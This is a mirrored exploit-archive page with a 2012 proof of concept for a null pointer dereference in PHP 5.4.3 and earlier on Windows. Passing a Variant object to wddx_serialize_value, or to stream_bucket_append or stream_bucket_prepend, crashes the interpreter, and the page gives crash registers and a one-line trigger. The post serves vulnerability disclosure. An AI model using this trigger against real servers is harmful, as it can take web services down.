首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefern
来源:http://cond.psychodela.pl 作者:condis 发布时间:2012-05-22  

<?php

/*

PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
Author : condis
Date : 10.04.2012 AD
Website : http://cond.psychodela.pl

----

Download : http://php.net/downloads.php

Tested on:
 
 PHP 5.3.8  + Windows XP SP3 Professional PL
 PHP 5.3.10 + Windows XP SP3 Professional PL
 PHP 5.4.0  + Windows XP SP3 Professional PL
 PHP 5.4.3  + Windows XP SP3 Professional PL
 
Description:

wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
object when it is given as a first argument.

Registers:

 EAX 00000000
 ECX 1056AAE8 php5ts.1056AAE8
 EDX 100EFCE0 php5ts.100EFCE0
 EBX 01032AB0
 ESP 00C0FAE0
 EBP 00000000
 ESI 0121E478
 EDI 0121CB50
 EIP 1028F22E php5ts.1028F22E

Crash:

 1028F22E   8A45 25          MOV AL,BYTE PTR SS:[EBP+25]

Situation looks pretty much the same for both wddx_serialize_vars and
wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
have some problems with handling Variant object when given as a second argument:

stream_bucket_append(1, new Variant(1));
stream_bucket_prepend(1, new Variant(1));

PS : Variant object is only available in PHP for Windows OS and it was implemented
in PHP > 4.1.0 and PHP 5.

For more details check : http://php.net/manual/en/class.variant.php

PS2: After running this via webserver my Apache wasn't able to handle requests
anymore and I had to restart him :)

kthxbye

*/

wddx_serialize_value(new Variant(666));

?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Foxit Reader 3.0 Open Execute
·PHP <= 5.4.3 (com_event_sink)
·DVD-Lab Studio 1.25 DAL File O
·Supernews <= 2.6.1 SQL Injecti
·Real-DRAW PRO 5.2.4 Import Fil
·FlexNet License Server Manager
·HP StorageWorks P4000 Virtual
·Novell Client 4.91 SP4 Privile
·Mozilla FireFox 12.0 Memory Co
·PHP 5.3.11 (win) Local Denial
·Symantec End Point Protection
·PHP 5.4 (5.4.3) Code Execution
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved